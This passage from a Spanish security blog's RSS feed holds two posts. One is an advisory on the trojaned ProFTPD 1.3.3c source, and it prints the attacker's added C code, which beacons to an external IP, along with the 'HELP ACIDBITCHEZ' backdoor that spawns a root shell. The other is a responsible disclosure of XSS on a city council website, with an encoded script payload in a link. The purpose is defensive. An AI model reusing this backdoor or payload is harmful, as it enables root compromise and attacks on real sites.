<p><span id="more-434"></span></p>
<p>Tal y como podemos comprobar por los cambios introducidos por el atacante en el programa, al ejecutarse, hace una petición (Línea 14) a la dirección ip 212.26.42.47 (línea 30) al puerto 9090 (línea 12)</p>
<pre class="brush: bash; title: ; notranslate">
#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;sys/socket.h&gt;
#include &lt;sys/types.h&gt;
#include &lt;netinet/in.h&gt;
#include &lt;arpa/inet.h&gt;
#include &lt;unistd.h&gt;
#include &lt;netdb.h&gt;
#include &lt;signal.h&gt;
#include &lt;string.h&gt;

#define DEF_PORT 9090
#define DEF_TIMEOUT 15
#define DEF_COMMAND &quot;GET /AB HTTP/1.0\r\n\r\n&quot;

int sock;

void handle_timeout(int sig)
{
    close(sock);
    exit(0);
}

int main(void)
{

        struct sockaddr_in addr;
        struct hostent *he;
        u_short port;
        char ip[20]=&quot;212.26.42.47&quot;;
        port = DEF_PORT;
        signal(SIGALRM, handle_timeout);
        alarm(DEF_TIMEOUT);
        he=gethostbyname(ip);
        if(he==NULL) return(-1);
        addr.sin_addr.s_addr = *(unsigned long*)he-&gt;h_addr;
        addr.sin_port = htons(port);
        addr.sin_family = AF_INET;
        memset(addr.sin_zero, 0, 8);
        sprintf(ip, inet_ntoa(addr.sin_addr));
        if((sock = socket(AF_INET, SOCK_STREAM, 0))==-1)
        {
                return EXIT_FAILURE;
        }
        if(connect(sock, (struct sockaddr*)&amp;addr, sizeof(struct sockaddr))==-1)
        {
            close(sock);
            return EXIT_FAILURE;
        }
        if(-1 == send(sock, DEF_COMMAND, strlen(DEF_COMMAND), 0))
        {
            return EXIT_FAILURE;
        }
        close(sock);

return 0; }
</pre>
<p>Con esta petición en los logs, el atacante ya sabe qué máquina ha usado su ProFTPD troyanizado y dónde acudir. En segundo lugar, el atacante se conecta a ese servidor por FTP y escribe:</p>
<blockquote><p>
HELP ACIDBITCHEZ
</p></blockquote>
<p>Lo que le dará acceso root debido a una segunda modificaci&oacute;n realizada en el fichero help.c</p>
<pre class="brush: bash; title: ; notranslate">
} else {
 if (strcmp(target, &quot;ACIDBITCHEZ&quot;) == 0) { setuid(0); setgid(0); system(&quot;/bin/sh;/sbin/sh&quot;); }
  /* List the syntax for the given target command. */
  for (i = 0; i &lt; help_list-&gt;nelts; i++) {
</pre>
<p>La palabra ACIDBITCHEZ ha sido arbitrariamente elegida por el atacante.</p>
<p>Se recomienda a los usuarios que estén ejecutando dicha versión que comprueben si sus sistemas se han visto comprometidos y compilen o ejecuten una versión actualizada del código.<br />
Para verificar la integridad de los ficheros fuente, se recomienda el uso de las firmas GPG disponibles tanto en los diferentes servidores FTP así como en la página oficial del proyecto ProFTPD:</p>
<p>http://www.proftpd.org/md5_pgp.html</p>
<p>Hash MD5:<br />
018e0eb1757d9cea2a0e17f2c9b1ca2d proftpd-1.3.2e.tar.bz2<br />
4ecb82cb1050c0e897d5343f6d2cc1ed proftpd-1.3.2e.tar.gz<br />
8571bd78874b557e98480ed48e2df1d2 proftpd-1.3.3c.tar.bz2<br />
4f2c554d6273b8145095837913ba9e5d proftpd-1.3.3c.tar.gz</p>
<p>Firmas PGP:</p>
<p>proftpd-1.3.2e.tar.bz2.asc<br />
&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<br />
Version: GnuPG v1.4.9 (GNU/Linux)<br />
iEYEABECAAYFAkuFYtsACgkQt46JP6URl2rqVACgzefr58XHVoh2ARERbkW5qPzb<br />
Qj4AoOwwH55FlS7OM8sBjELT0OhrN0jQ<br />
=E6hR<br />
&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;</p>
<p>proftpd-1.3.2e.tar.gz.asc<br />
&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<br />
Version: GnuPG v1.4.9 (GNU/Linux)<br />
iEYEABECAAYFAkuFYuAACgkQt46JP6URl2pTVQCeJ7HM7ltLwJwb4TQ3AwT9j36n<br />
/ywAn3rB6HRVDGTF2WuOJgn/dss7VWeV<br />
=G553<br />
&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;</p>
<p>proftpd-1.3.3c.tar.bz2.asc<br />
&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<br />
Version: GnuPG v1.4.9 (GNU/Linux)<br />
iEYEABECAAYFAkzLAWYACgkQt46JP6URl2qu3QCcDGXD+fRPOdKMp8fHyHI5d12E<br />
83gAoPHBrjTFCz4MKYLhH8qqxmGslR2k<br />
=aLli<br />
&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;</p>
<p>proftpd-1.3.3c.tar.gz.asc<br />
&#8212;&#8211;BEGIN PGP SIGNATURE&#8212;&#8211;<br />
Version: GnuPG v1.4.9 (GNU/Linux)<br />
iEYEABECAAYFAkzLAW0ACgkQt46JP6URl2ojfQCfXy/hWE8G5mhdhdLpaPUZsofK<br />
pO8Anj+uP0hQcn1E/CEUddI0mezlSCmg<br />
=e8el<br />
&#8212;&#8211;END PGP SIGNATURE&#8212;&#8211;</p>
<p>Fuentes:<br />
<a href="http://sourceforge.net/mailarchive/message.php?msg_name=alpine.DEB.2.00.1012011542220.12930%40familiar.castaglia.org">Sourceforge -[Proftpd-user] ProFTPD ftp.proftpd.org compromise</a><br />
<a href="http://xorl.wordpress.com/2010/12/02/news-proftpd-owned-and-backdoored/">http://xorl.wordpress.com/</a><br />
<a href="http://www.hispasec.com/unaaldia/4422">Hispasec -Una al d&iacute;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=434</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Múltiples Cross Site Scripting en www.donostia.org</title>
		<link>http://erewhon-network.net/wordpress/?p=231</link>
		<comments>http://erewhon-network.net/wordpress/?p=231#comments</comments>
		<pubDate>Sat, 07 Aug 2010 22:00:48 +0000</pubDate>
		<dc:creator>Jano</dc:creator>
				<category><![CDATA[Seguridad informática]]></category>
		<category><![CDATA[XSS]]></category>

		<guid isPermaLink="false">http://erewhon-network.net/wordpress/?p=231</guid>
		<description><![CDATA[El pasado día 19 de julio, descubrí múltiples vulnerabilidades XSS en la página oficial del ayuntamiento de San Sebastian informando de ello el día 20 de Julio. Las páginas web afectadas son las siguientes: Ayuntamiento de San Sebastián XSS:XSS Timeline: 19/07/2010: Se descubre XSS en múltiples páginas web creadas por la empresa novalsys. 20/07/2010: Se [...]]]></description>
			<content:encoded><![CDATA[<p>El pasado día 19 de julio, descubrí múltiples vulnerabilidades XSS en la página oficial del ayuntamiento de San Sebastian informando de ello el día 20 de Julio.<br />
<br />
Las páginas web afectadas son las siguientes:<br />
<a href="http://www.donostia.org">Ayuntamiento de San Sebastián</a><br />
<strong>XSS:</strong><a href="http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.donostia.org/info/BusquedaGSA.nsf/vBusquedaGSA/699B5CBAE7C76387C1257766002022AE?opendocument&#038;idioma=cas&#038;coleccion=Donostia&#038;query=%22/%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E&#038;t=">XSS</a><br />
<center><br />
<a title="XSS" href="http://www.erewhon-network.net/images/donostia.org_xss/donostia.org.jpg" rel="lightbox[231]"><img src="http://www.erewhon-network.net/images/donostia.org_xss/donostia.org.jpg" width="437" height="400" /></a><br />
</center><br />
</p>
<hr />
<br />
<strong>Timeline:</strong></p>
<ul>
<li><strong>19/07/2010:</strong> Se descubre XSS en múltiples páginas web creadas por la empresa novalsys.</li>
<li><strong>20/07/2010:</strong> Se informa a través de correo electrónico.</li>
<li><strong>21/07/2010:</strong> Se confirma la recepción del correo electrónico.</li>
<li><strong>02/08/2010:</strong> Se informa nuevamente a través de correo electrónico.</li>
]]></content:encoded>
			<wfw:commentRss>http://erewhon-network.net/wordpress/?feed=rss2&amp;p=231</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

